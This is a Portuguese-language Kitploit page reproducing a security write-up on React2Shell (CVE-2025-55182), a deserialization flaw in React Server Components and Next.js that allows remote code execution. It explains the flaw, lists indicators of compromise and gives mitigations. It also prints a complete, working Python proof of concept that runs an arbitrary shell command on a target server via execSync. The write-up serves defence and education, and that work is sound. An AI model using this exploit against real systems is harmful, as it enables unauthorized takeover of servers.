Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell, CVE-2025-55182, Vulnerabilidade RCE: Uma análise crítica da falha de desserialização insegura nos React Server Components que permite execução remota de código não autenticada em configurações padrão de React/Next.js. | Kitploit
Ferramentas/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
Gerenciamento de Indicadores de Comprometimento (IOC)Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoInteligência de AmeaçasPapers e PesquisaAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Resposta a Incidentes
Desenvolvimento de Payloads
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell, CVE-2025-55182, Vulnerabilidade RCE: Uma análise crítica da falha de desserialização insegura nos React Server Components que permite execução remota de código não autenticada em configurações padrão de React/Next.js.

Ver Repositório
82há 8 mesesAinda não revisado
Compartilhar

React2Shell (CVE-2025-55182): O Bug de Desserialização Que Quebrou a Web ⚡

React2Shell, CVE-2025-55182, Vulnerabilidade RCE: Uma análise crítica da falha de desserialização insegura nos React Server Components que permite execução remota de código não autenticada em configurações padrão de React/Next.js.

⏩ TL;DR

React2Shell (CVE-2025-55182) é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta os React Server Components (RSC) no React 19.x e frameworks como Next.js. A falha reside na desserialização insegura de chunks do protocolo “Flight”, permitindo que atacantes injetem estruturas maliciosas que se resolvem no construtor Function, resultando em execução arbitrária de JavaScript no servidor.

  • Funciona em configurações padrão
  • Não requer autenticação
  • Explora requisições multipart/form-data padrão
  • Leva à tomada total do servidor
  • PoC pública existe (creditada abaixo)
  • Mitigação: Atualizar para React 19.2.1+ / versões corrigidas do Next.js
  • React2Shell


    👋 Introdução

    Os React Server Components foram introduzidos para unir a renderização cliente/servidor com um fluxo de trabalho mais contínuo e componível. Para isso, o React usa um canal de serialização personalizado, meio binário, chamado protocolo Flight.

    Infelizmente, a lógica de desserialização deste protocolo continha uma falha sutil que permitia que atacantes contrabandeassem payloads maliciosos profundamente no runtime do React.

    O resultado? Uma cadeia completa e não autenticada de execução remota de código, agora apelidada de React2Shell — e sim, seu impacto é comparável ao Log4Shell em escala e acessibilidade. 🔥

    Este artigo detalha a vulnerabilidade em um formato claro e acionável — ideal para profissionais de VAPT, pesquisadores e defensores.


    🧠 A Vulnerabilidade Explicada (React2Shell em Termos Simples)

    🧩 1. Como o Protocolo Flight do React Funciona

    O RSC se comunica com o cliente enviando “chunks” serializados que representam referências, objetos, metadados de componentes, limites assíncronos, etc.

    Quando esses chunks chegam ao servidor ou cliente, o React os desserializa de volta em objetos e funções.

    Esse processo assume que a estrutura de dados é segura. Foi aí que tudo quebrou.


    💥 2. A Falha Central: Desserialização Insegura → Construtor Function → RCE

    Os atacantes encontraram uma maneira de criar chunks maliciosos contendo:

    • Acessores de protótipo
    • Objetos falsos semelhantes a promessas (thenables)
    • Chaves referenciando a cadeia de protótipos
    • Caminhos que finalmente expõem o construtor Function

    Exemplo de padrão:

    root@kitploit:~
    "$then": { "constructor": { "prototype": null } }
    

    Durante a desserialização, o React interpreta esse objeto como um thenable e chama:

    root@kitploit:~
    promise.then(...)
    

    Mas aqui, then é na verdade o construtor Function, então a chamada torna-se:

    root@kitploit:~
    (new Function("malicious_payload"))();
    

    Isso resulta em execução arbitrária de JavaScript dentro do ambiente Node.js que executa os React Server Components.

    Boom — você tem RCE.


    🚨 3. Por Que É Tão Perigoso

    • Nenhuma autenticação necessária
    • Funciona em apps Next.js padrão
    • Nenhuma configuração ou flag especial necessária
    • Simples requisição HTTP POST
    • Leva ao comprometimento total: escrita de arquivos, spawn de processos, movimento lateral

    É por isso que fornecedores de nuvem, equipes de segurança e CERTs reagiram instantaneamente quando isso se tornou público.


    🚨 Indicadores de Comprometimento (IoCs)

    📡 IoCs de Rede

    • Requisições POST multipart para:
      • /react
      • /rsc
      • /server, /flight, /server-actions
    • Payloads contendo chaves como:
      • $then
      • $proto
      • $constructor
      • $type

    🖥️ IoCs ao Nível do Host

    • Execuções suspeitas de Node.js como:
      root@kitploit:~
      node -e "<payload>"
      
    • Arquivos inesperados em:
      • /tmp/react-rce-*
      • /var/tmp/node-rce-*

    🧭 IoCs Comportamentais

    • Logs de incompatibilidade de hidratação anteriores a anomalias de execução
    • Conexões de saída súbitas para IPs suspeitos
    • Falhas nos manipuladores de desserialização do RSC
    • Chunks Flight incomuns ou malformados retornados pelo servidor

    🧪 PoC

    ⚠️ Nota Importante
    Eu não sou o dono deste PoC.
    Ele é referenciado do seguinte repositório público, com todos os créditos ao autor:

    👉 https://github.com/msanft/CVE-2025-55182

    ⚠️ Aviso Legal:

    O seguinte Proof-of-Concept (PoC) é fornecido estritamente para fins educacionais e de pesquisa defensiva em cibersegurança.
    Ele deve ser executado apenas em ambientes de laboratório isolados ou em sistemas onde você tenha autorização explícita para testar.

    O uso indevido deste código para acesso não autorizado, exploração ou comprometimento de sistemas é ilegal, antiético e punível sob leis de cibersegurança.
    Prossiga com responsabilidade. 🛡️💻

    Abaixo está o PoC completo:

    root@kitploit:~
    # CREDIT: https://github.com/msanft/CVE-2025-55182
    # Do NOT run in production. Research-use only.
    
    # /// script
    # dependencies = ["requests"]
    # ///
    import requests
    import sys
    import json
    
    BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
    EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
    
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
            # If you don't need the command output, you can use this line instead:
            # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }
    
    files = {
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }
    
    headers = {"Next-Action": "x"}
    res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
    print(res.status_code)
    print(res.text)
    

    ⚠️ Aviso Legal:

    Se você executou este PoC, certifique-se de que o fez em um sandbox controlado e não em qualquer ativo de produção ou de terceiros.

    Esta demonstração existe unicamente para ajudar analistas, desenvolvedores e defensores a entender, detectar e mitigar CVE-2025-55182 (React2Shell).
    Qualquer uso malicioso ou não autorizado desta informação é estritamente proibido e não é endossado pelo autor.

    Mantenha-se ético. Mantenha-se seguro. 🐉🔥


    🛡️ Estratégia de Mitigação e Defesa

    ✅ 1. Atualize Imediatamente

    • React → 19.2.1+
    • Next.js → versões corrigidas lançadas pela Vercel
    • Outros frameworks habilitados para RSC → aplique patches do fornecedor

    🔐 2. Reforço de Curto Prazo

    • Adicione assinaturas WAF para padrões de desserialização do RSC
    • Bloqueie tráfego POST multipart suspeito
    • Restringa acesso público a endpoints de server-action
    • Desative recursos experimentais do RSC se não forem necessários
    • Imponha validação rigorosa de requisições de entrada

    🧱 3. Defesa em Profundidade

    • Use sandboxing do runtime Node.js
    • Ative restrições de rede de saída
    • Audite execução inesperada de código no servidor
    • Adicione detecção de anomalias a logs e pipelines de build

    👋 Conclusão — Mantenha a Curiosidade, Mantenha-se Seguro 🔥

    React2Shell é um lembrete poderoso de que camadas de serialização, por mais elegantes que sejam, continuam sendo um dos componentes mais perigosos em frameworks modernos. No momento em que objetos arbitrários tocam o runtime sem validação, a cadeia para RCE se torna dolorosamente curta.

    Obrigado por ler — e como sempre, continue hackeando eticamente, continue aprendendo constantemente e mantenha esse fogo da segurança aceso. 🔥🐉


    ⭐ Siga-me e Conecte-se

    Se você gostou deste artigo ou deseja permanecer conectado com minha pesquisa em cibersegurança:

    🔗 GitHub: https://github.com/AdityaBhatt3010
    💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
    ✍️ Medium: https://medium.com/@adityabhatt3010


    Baixar ferramenta